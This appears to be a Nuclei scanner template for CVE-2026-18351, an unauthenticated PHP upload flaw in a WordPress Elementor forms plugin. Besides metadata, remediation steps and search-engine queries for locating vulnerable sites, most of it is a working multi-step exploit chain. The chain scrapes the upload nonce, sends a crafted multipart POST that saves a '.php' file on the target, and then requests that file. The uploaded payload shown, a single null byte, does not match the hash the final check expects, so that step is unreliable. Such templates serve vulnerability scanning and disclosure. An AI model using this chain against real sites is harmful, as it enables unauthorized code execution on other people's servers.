id: CVE-2026-18351 info: name: Drag and Drop File Upload for Elementor Forms <= 1.6.0 - Unauthenticated PHP File Upload author: theamanrawat severity: critical description: | Drag and Drop File Upload for Elementor Forms through 1.6.0 accepts a crafted type value and PHP filename through the unauthenticated elementor_file_upload AJAX action; a binary-prefixed payload can pass WordPress MIME validation and be saved as an executable .php file. impact: | An unauthenticated attacker can upload and execute PHP code when the upload handler is exposed and the web server executes PHP in the upload directory. remediation: | Upgrade Drag and Drop File Upload for Elementor Forms to 1.6.1 or later, remove unexpected PHP files from wp-content/uploads/elementor/forms/temp/, and prevent PHP execution in upload directories. reference: - https://www.wordfence.com/threat-intel/vulnerabilities/id/03e853be-510f-4957-a227-17ca9f825b12 - https://plugins.svn.wordpress.org/drag-and-drop-file-upload-for-elementor-forms/tags/1.6.0/fields/file_upload.php - https://plugins.svn.wordpress.org/drag-and-drop-file-upload-for-elementor-forms/tags/1.6.1/fields/file_upload.php - https://nvd.nist.gov/vuln/detail/CVE-2026-18351 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2026-18351 epss-score: 0.03943 epss-percentile: 0.90662 cwe-id: CWE-434 metadata: verified: true max-request: 4 vendor: addonsorg product: drag-and-drop-file-upload-for-elementor-forms shodan-query: 'http.html:"drag-and-drop-file-upload-for-elementor-forms"' fofa-query: 'body="drag-and-drop-file-upload-for-elementor-forms"' publicwww-query: '"/wp-content/plugins/drag-and-drop-file-upload-for-elementor-forms"' tags: cve,cve2026,wordpress,wp-plugin,file-upload,rce,unauth,elementor,intrusive,vkev flow: http(1) && http(2) && http(3) && http(4) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/drag-and-drop-file-upload-for-elementor-forms/readme.txt" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(tolower(body), "drag and drop file upload for elementor forms")' - 'regex("(?im)^stable tag:\\s*(?:0\\.[0-9]+(?:\\.[0-9]+)?|1\\.[0-5]\\.[0-9]+|1\\.6\\.0)\\s*$", body)' condition: and internal: true - method: GET path: - "{{BaseURL}}/" matchers: - type: regex part: body regex: - 'elementor_file_upload\s*=\s*\{\s*"nonce":"[a-f0-9]{10}"' internal: true extractors: - type: regex name: upload_nonce part: body regex: - 'elementor_file_upload\s*=\s*\{\s*"nonce":"([a-f0-9]{10})"' group: 1 internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: multipart/form-data; boundary=----NucleiCVE202618351 Accept: application/json ------NucleiCVE202618351 Content-Disposition: form-data; name="action" elementor_file_upload ------NucleiCVE202618351 Content-Disposition: form-data; name="nonce" {{upload_nonce}} ------NucleiCVE202618351 Content-Disposition: form-data; name="type" php[?] ------NucleiCVE202618351 Content-Disposition: form-data; name="size" 4096 ------NucleiCVE202618351 Content-Disposition: form-data; name="file"; filename="{{randstr}}.php?" Content-Type: application/octet-stream {{hex_decode("00")}} ------NucleiCVE202618351-- matchers-condition: and matchers: - type: word part: body words: - '"status":"ok"' internal: true - type: regex part: body regex: - '[a-zA-Z0-9]+\.php' internal: true extractors: - type: regex name: uploaded_filename part: body regex: - '([a-zA-Z0-9]+\.php)' group: 1 internal: true - method: GET path: - "{{BaseURL}}/wp-content/uploads/elementor/forms/temp/{{uploaded_filename}}" matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(body, "79c478a9a394e18ff1ea5c0baec964e9f353b1a9df1b8abf2935b15dda651bbb")' condition: and # digest: 4a0a0047304502205db79eb1bd7af23fa4407a22a8136e2d411b1f45a49967e616eae5a22f44f6b7022100a011aa045e521775916f6b3979a962d04fb0d2b33462d7d4356d0ba5fddaeea4:922c64590222798bb761d5b6d8e72950